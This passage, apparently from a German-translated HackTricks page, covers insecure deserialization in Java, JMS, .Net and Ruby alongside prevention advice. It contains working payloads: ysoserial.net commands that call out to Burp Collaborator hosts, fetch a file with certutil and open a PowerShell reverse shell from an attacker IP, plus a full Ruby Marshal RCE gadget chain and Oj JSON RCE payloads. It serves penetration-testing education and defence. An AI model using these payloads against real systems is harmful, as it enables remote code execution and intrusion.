Es bietet eine Möglichkeit, deserialization dynamisch abzusichern — ideal für Umgebungen, in denen sofortige Codeänderungen unpraktisch sind.

Siehe ein Beispiel in rO0 by Contrast Security

Implementierung von Serialization Filters:

Java 9 führte die serialization filters über das Interface ObjectInputFilter ein und stellt damit einen leistungsfähigen Mechanismus bereit, um Kriterien festzulegen, die serialized objects erfüllen müssen, bevor sie deserialized werden. Diese filters können global oder pro Stream angewendet werden und bieten eine granulare Kontrolle über den deserialization-Prozess.

Um serialization filters zu nutzen, können Sie einen globalen Filter setzen, der für alle deserialization-Operationen gilt, oder ihn dynamisch für bestimmte Streams konfigurieren. Zum Beispiel:

java
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);

Nutzung externer Bibliotheken zur verbesserten Sicherheit: Libraries such as NotSoSerial, jdeserialize, and Kryo offer advanced features for controlling and monitoring Java deserialization. Diese Bibliotheken können zusätzliche Sicherheitsschichten bieten, wie Whitelisting oder Blacklisting von Klassen, Analyse serialisierter Objekte vor der Deserialisierung und Implementierung benutzerdefinierter Serialisierungsstrategien.

  • NotSoSerial fängt Deserialisierungsprozesse ab, um die Ausführung von nicht vertrauenswürdigem Code zu verhindern.
  • jdeserialize ermöglicht die Analyse serialisierter Java-Objekte, ohne sie zu deserialisieren, und hilft so, potenziell bösartigen Inhalt zu identifizieren.
  • Kryo ist ein alternatives Serialisierungsframework, das auf Geschwindigkeit und Effizienz ausgelegt ist und konfigurierbare Serialisierungsstrategien anbietet, die die Sicherheit verbessern können.

References

JNDI Injection & log4Shell

Find whats is JNDI Injection, how to abuse it via RMI, CORBA & LDAP and how to exploit log4shell (and example of this vuln) in the following page:

JNDI - Java Naming and Directory Interface & Log4Shell

JMS - Java Message Service

The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).

Products

There are several products using this middleware to send messages:

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf

Ausnutzung

Im Grunde existiert eine Vielzahl von Services, die JMS auf eine unsichere Weise einsetzen. Wenn Sie daher über ausreichende Privilegien verfügen, um Nachrichten an diese Services zu senden (in der Regel benötigen Sie gültige Zugangsdaten), könnten Sie in der Lage sein, bösartige, serialisierte Objekte zu senden, die vom Consumer/Subscriber deserialisiert werden.
Das bedeutet, dass bei dieser Ausnutzung alle Clients, die diese Nachricht verwenden, kompromittiert werden.

Beachten Sie, dass selbst wenn ein Service verwundbar ist (weil er Benutzereingaben unsicher deserialisiert), Sie dennoch gültige Gadgets finden müssen, um die Schwachstelle auszunutzen.

Das Tool JMET wurde erstellt, um mit diesen Services zu verbinden und sie anzugreifen, indem mehrere bösartige, serialisierte Objekte mit bekannten Gadgets gesendet werden. Diese Exploits funktionieren, wenn der Service noch verwundbar ist und eines der verwendeten Gadgets in der verwundbaren Anwendung enthalten ist.

References

.Net

Im Kontext von .Net funktionieren Deserialisierungs-Exploits ähnlich wie bei Java, wobei Gadgets ausgenutzt werden, um während der Deserialisierung eines Objekts bestimmten Code auszuführen.

Fingerprint

WhiteBox

Der Quellcode sollte auf Vorkommen von:

  1. TypeNameHandling
  2. JavaScriptTypeResolver

untersucht werden. Der Fokus sollte auf Serializern liegen, die es erlauben, den Typ durch eine vom Benutzer kontrollierte Variable zu bestimmen.

BlackBox

Bei der Suche sollte auf den Base64-kodierten String AAEAAAD///// oder ein ähnliches Muster geachtet werden, das serverseitig deserialisiert werden könnte und Kontrolle über den zu deserialisierenden Typ gewährt. Dies kann, ist aber nicht beschränkt auf, JSON- oder XML-Strukturen mit TypeObject oder $type sein.

ysoserial.net

In diesem Fall können Sie das Tool ysoserial.net verwenden, um Deserialisierungs-Exploits zu erstellen. Nachdem Sie das Git-Repository heruntergeladen haben, sollten Sie das Tool beispielsweise mit Visual Studio kompilieren.

Wenn Sie lernen möchten, wie ysoserial.net seinen Exploit erstellt, können Sie diese Seite prüfen, auf der das ObjectDataProvider-Gadget + ExpandedWrapper + Json.Net-Formatter erklärt werden.

Die Hauptoptionen von ysoserial.net sind: --gadget, --formatter, --output und --plugin.

  • --gadget wird verwendet, um das auszunutzende Gadget anzugeben (die Klasse/Funktion, die während der Deserialisierung missbraucht wird, um Befehle auszuführen).
  • --formatter wird verwendet, um die Methode anzugeben, mit der der Exploit serialisiert wird (Sie müssen wissen, welche Bibliothek das Backend zur Deserialisierung des Payloads verwendet und dieselbe zum Serialisieren benutzen).
  • --output gibt an, ob Sie den Exploit als raw oder base64 codiert haben möchten. Beachten Sie, dass ysoserial.net den Payload mit UTF-16LE (Standardkodierung unter Windows) kodiert, sodass, wenn Sie das raw erhalten und es einfach in einer Linux-Konsole umkodieren, Kodierungs-Kompatibilitätsprobleme auftreten können, die verhindern, dass der Exploit korrekt funktioniert (in der HTB JSON-Box funktionierte der Payload sowohl in UTF-16LE als auch in ASCII, aber das bedeutet nicht, dass er immer funktioniert).
  • --plugin ysoserial.net unterstützt Plugins, um Exploits für spezifische Frameworks wie ViewState zu erstellen.

Weitere ysoserial.net-Parameter

  • --minify liefert einen kleineren Payload (falls möglich)
  • --raf -f Json.Net -c "anything" Dies gibt alle Gadgets an, die mit einem angegebenen Formatter verwendet werden können (Json.Net in diesem Fall)
  • --sf xml Sie können ein Gadget angeben (-g) und ysoserial.net wird nach Formattern suchen, die "xml" enthalten (case insensitive)

ysoserial examples to create exploits:

bash
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64

#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server

#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64

#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net hat auch einen sehr interessanten Parameter, der dabei hilft, besser zu verstehen, wie jeder Exploit funktioniert: --test
Wenn du diesen Parameter angibst, wird ysoserial.net versuchen, den Exploit lokal auszuführen, sodass du testen kannst, ob dein Payload korrekt funktioniert.
Dieser Parameter ist hilfreich, weil du beim Durchsehen des Codes Abschnitte wie den folgenden findest (aus ObjectDataProviderGenerator.cs):

java
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

Das bedeutet, dass der Code, um den Exploit zu testen, serializersHelper.JsonNet_deserialize aufrufen wird.

java
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

Im vorherigen Code ist der erzeugte Exploit verwundbar. Wenn du etwas Ähnliches in einer .Net-Anwendung findest, bedeutet das wahrscheinlich, dass auch diese Anwendung verwundbar ist.
Deshalb erlaubt uns der Parameter --test, zu erkennen, welche Codeabschnitte gegenüber dem Deserialisierungs-Exploit verwundbar sind, den ysoserial.net erzeugen kann.

ViewState

Siehe diesen POST über wie man versucht, den __ViewState parameter of .Net auszunutzen, um beliebigen Code auszuführen. Wenn du die für die Opfermaschine verwendeten secrets bereits kennst, lies diesen Beitrag, um zu erfahren, wie man Code ausführt.

Prävention

Um die Risiken im Zusammenhang mit Deserialisierung in .Net zu mindern:

  • Vermeide es, Datenströmen zu erlauben, ihre Objekttypen zu definieren. Verwende DataContractSerializer oder XmlSerializer, wenn möglich.
  • Für JSON.Net, setze TypeNameHandling auf None: TypeNameHandling = TypeNameHandling.None
  • Vermeide die Verwendung von JavaScriptSerializer mit einem JavaScriptTypeResolver.
  • Begrenze die Typen, die deserialisiert werden können, und sei dir der inhärenten Risiken bestimmter .Net-Typen bewusst, wie System.IO.FileInfo, die Eigenschaften von Server-Dateien ändern können und dadurch potenziell Denial-of-Service-Angriffe verursachen.
  • Sei vorsichtig mit Typen, die riskante Eigenschaften besitzen, wie System.ComponentModel.DataAnnotations.ValidationException mit seiner Value-Eigenschaft, die ausgenutzt werden kann.
  • Kontrolliere die Typinstanziierung sicher, um zu verhindern, dass Angreifer den Deserialisierungsprozess beeinflussen — sonst können selbst DataContractSerializer oder XmlSerializer verwundbar werden.
  • Implementiere Whitelist-Kontrollen mit einem benutzerdefinierten SerializationBinder für BinaryFormatter und JSON.Net.
  • Halte dich über bekannte unsichere Deserialisierungs-Gadgets in .Net auf dem Laufenden und stelle sicher, dass Deserializer solche Typen nicht instanziieren.
  • Isoliere potenziell riskanten Code vom Code mit Internetzugang, damit bekannte Gadgets wie System.Windows.Data.ObjectDataProvider in WPF-Anwendungen nicht vertrauenswürdigen Datenquellen ausgesetzt werden.

References

Ruby

In Ruby wird die Serialisierung durch zwei Methoden der marshal-Bibliothek realisiert. Die erste Methode, dump, wandelt ein Objekt in einen Bytestrom um — das ist die Serialisierung. Die zweite Methode, load, wandelt umgekehrt einen Bytestrom zurück in ein Objekt — das ist die Deserialisierung.

Zur Absicherung serialisierter Objekte verwendet Ruby HMAC (Hash-Based Message Authentication Code), um die Integrität und Authentizität der Daten zu gewährleisten. Der dafür verwendete Schlüssel wird an einem der folgenden Orte gespeichert:

  • config/environment.rb
  • config/initializers/secret_token.rb
  • config/secrets.yml
  • /proc/self/environ

Ruby 2.X generische Deserialisierung-zu-RCE-Gadget-Kette (mehr Infos in https://www.elttam.com/blog/ruby-deserialization/):

ruby
#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

Weitere RCE-Kette zur Ausnutzung von Ruby On Rails: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() Methode

Wie in this vulnerability report erklärt, wenn unsanitized user input die .send()-Methode eines ruby-Objekts erreicht, erlaubt diese Methode, jede andere Methode des Objekts mit beliebigen Parametern aufzurufen.

Zum Beispiel ermöglicht das Aufrufen von eval und das Übergeben von ruby code als zweiten Parameter die Ausführung beliebigen Codes:

ruby
<Object>.send('eval', '<user input with Ruby code>') == RCE

Außerdem, wenn nur ein Parameter von .send() von einem Angreifer kontrolliert wird, wie im vorherigen writeup erwähnt, ist es möglich, jede Methode des Objekts aufzurufen, die keine Argumente benötigt oder deren Argumente Standardwerte haben.
Dazu ist es möglich, alle Methoden des Objekts aufzuzählen, um einige interessante Methoden zu finden, die diese Anforderungen erfüllen.

ruby
<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

Ruby class pollution

Siehe, wie es möglich ist, pollute a Ruby class and abuse it in here.

Ruby _json pollution

Wenn im Body einige Werte gesendet werden, die nicht hashbar sind, wie z. B. ein Array, werden sie unter einem neuen Schlüssel namens _json hinzugefügt. Es ist jedoch möglich, dass ein Angreifer im Body selbst einen Wert namens _json mit beliebigen Werten setzt. Wenn das Backend zum Beispiel die Verifizität eines Parameters prüft, aber anschließend den _json-Parameter zur Ausführung einer Aktion verwendet, kann ein authorisation bypass durchgeführt werden.

Weitere Informationen findest du in der Ruby _json pollution page.

Andere Bibliotheken

Diese Technik wurde übernommen from this blog post.

Es gibt weitere Ruby-Bibliotheken, die verwendet werden können, um Objekte zu serialisieren und die daher bei unsicherer Deserialisierung für RCE missbraucht werden könnten. Die folgende Tabelle zeigt einige dieser Bibliotheken und die Methode, die beim Unserialisieren der geladenen Klasse aufgerufen wird (die Funktion, die im Grunde ausgenutzt werden kann, um RCE zu erreichen):

BibliothekEingabedatenAusgelöste Methode in der Klasse
Marshal (Ruby)Binär_load
OjJSONhash (die Klasse muss als Schlüssel in einen Hash (map) eingefügt werden)
OxXMLhash (die Klasse muss als Schlüssel in einen Hash (map) eingefügt werden)
Psych (Ruby)YAMLhash (die Klasse muss als Schlüssel in einen Hash (map) eingefügt werden)
init_with
JSON (Ruby)JSONjson_create ([see notes regarding json_create at end](#table-vulnerable-sinks))

Ein einfaches Beispiel:

ruby
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Beim Versuch, Oj auszunutzen, war es möglich, eine Gadget-Klasse zu finden, die innerhalb ihrer hash-Funktion to_s aufruft, das wiederum spec aufruft, das fetch_path aufruft — letzteres ließ sich dazu bringen, eine beliebige URL abzurufen, wodurch sich ein sehr guter Detektor für diese Art unsanitierter Deserialisierungs-Schwachstellen ergibt.

json
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}

Außerdem wurde festgestellt, dass durch die vorherige Technik ein Ordner im System angelegt wird, was Voraussetzung ist, um ein anderes Gadget auszunutzen und dies in eine vollständige RCE zu verwandeln, etwa mit:

json
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

Check for more details in the original post.

Bootstrap Caching

Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (finde den vollständigen original post in here).

Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:

  • Identify the Vulnerability and Environment

Die Datei-Upload-Funktionalität der Rails-App ermöglicht es einem Angreifer, Dateien beliebig zu schreiben. Obwohl die App mit Einschränkungen läuft (nur bestimmte Verzeichnisse wie tmp sind aufgrund des non-root users von Docker beschreibbar), erlaubt dies dennoch das Schreiben in das Bootsnap Cache-Verzeichnis (typischerweise unter tmp/cache/bootsnap).

  • Understand Bootsnap’s Cache Mechanism

Bootsnap beschleunigt die Rails-Startzeiten, indem es kompilierten Ruby-Code, YAML- und JSON-Dateien cached. Es speichert Cache-Dateien, die einen cache key header enthalten (mit Feldern wie Ruby version, file size, mtime, compile options, etc.), gefolgt vom kompilierten Code. Dieser Header wird beim App-Start zur Validierung des Caches verwendet.

  • Gather File Metadata

Der Angreifer wählt zunächst eine Zieldatei aus, die wahrscheinlich beim Rails-Start geladen wird (z. B. set.rb aus Ruby’s standard library). Durch Ausführen von Ruby-Code innerhalb des Containers extrahieren sie kritische Metadaten (wie RUBY_VERSION, RUBY_REVISION, size, mtime und compile_option). Diese Daten sind essenziell, um einen gültigen cache key zu erstellen.

  • Compute the Cache File Path

Indem man Bootsnap’s FNV-1a 64-bit hash mechanism repliziert, wird der korrekte Pfad der Cache-Datei ermittelt. Dieser Schritt stellt sicher, dass die bösartige Cache-Datei genau dort abgelegt wird, wo Bootsnap sie erwartet (z. B. unter tmp/cache/bootsnap/compile-cache-iseq/).

  • Craft the Malicious Cache File

Der Angreifer bereitet eine Payload vor, die:

  • arbitrary commands ausführt (z. B. id ausführt, um Prozessinfo anzuzeigen).
  • den bösartigen Cache nach der Ausführung entfernt, um rekursive Ausnutzung zu verhindern.
  • die Originaldatei lädt (z. B. set.rb), um einen Absturz der Anwendung zu vermeiden.

Diese Payload wird in binären Ruby-Code kompiliert und mit einem sorgfältig konstruierten cache key header verkettet (unter Verwendung der zuvor gesammelten Metadaten und der korrekten Versionsnummer für Bootsnap).

  • Overwrite and Trigger Execution Mit der arbitrary file write vulnerability schreibt der Angreifer die erstellte Cache-Datei an den berechneten Ort. Anschließend löst er einen Server-Neustart aus (indem tmp/restart.txt beschrieben wird, das von Puma überwacht wird). Beim Neustart, wenn Rails die Ziel-Datei required, wird die bösartige Cache-Datei geladen, was zu remote code execution (RCE) führt.

Ruby Marshal exploitation in practice (updated)

Behandle jeden Pfad, bei dem untrusted bytes Marshal.load/marshal_load erreichen, als RCE-Senke. Marshal rekonstruiert beliebige Objektgraphen und löst library/gem callbacks während der Materialisierung aus.

  • Minimal vulnerable Rails code path:
ruby
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
  • Häufige Gadget-Klassen, die in realen Chains vorkommen: Gem::SpecFetcher, Gem::Version, Gem::RequestSet::Lockfile, Gem::Resolver::GitSpecification, Gem::Source::Git.
  • Typischer Side-Effect-Marker, eingebettet in payloads (während des unmarshal-Vorgangs ausgeführt):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip

Wo es in realen Anwendungen auftaucht:

  • Rails-Cache- und Session-Stores, die historisch Marshal verwenden
  • Backends für Background-Jobs und dateibasierte Objektspeicher
  • Jegliche benutzerdefinierte Persistenz oder der Transport von binären Objekt-Blobs

Automatisierte Gadget-Erkennung:

  • Grep nach Konstruktoren, hash, _load, init_with, oder nach Methoden mit Seiteneffekten, die während des unmarshal aufgerufen werden
  • Verwende CodeQL’s Ruby unsafe deserialization queries, um sources → sinks zurückzuverfolgen und Gadgets aufzudecken
  • Mit öffentlichen Multi-Format-PoCs (JSON/XML/YAML/Marshal) validieren

Referenzen

  • Trail of Bits – Marshal madness: Eine kurze Geschichte von Ruby-Deserialisierungs-Exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
  • elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
  • Phrack #69 – Rails 3/4 Marshal-Kette: https://phrack.org/issues/69/12.html
  • CVE-2019-5420 (Rails 5.2 unsichere Deserialisierung): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
  • ZDI – RCE via Ruby on Rails Active Storage durch unsichere Deserialisierung: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
  • Include Security – Entdeckung von Gadget-Ketten in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
  • GitHub Security Lab – Ruby unsafe deserialization (Query-Hilfe): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
  • GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
  • Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
  • Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
  • Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
  • Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
  • Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
  • Trail of Bits – Auditing RubyGems.org (Marshal-Funde): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
  • watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks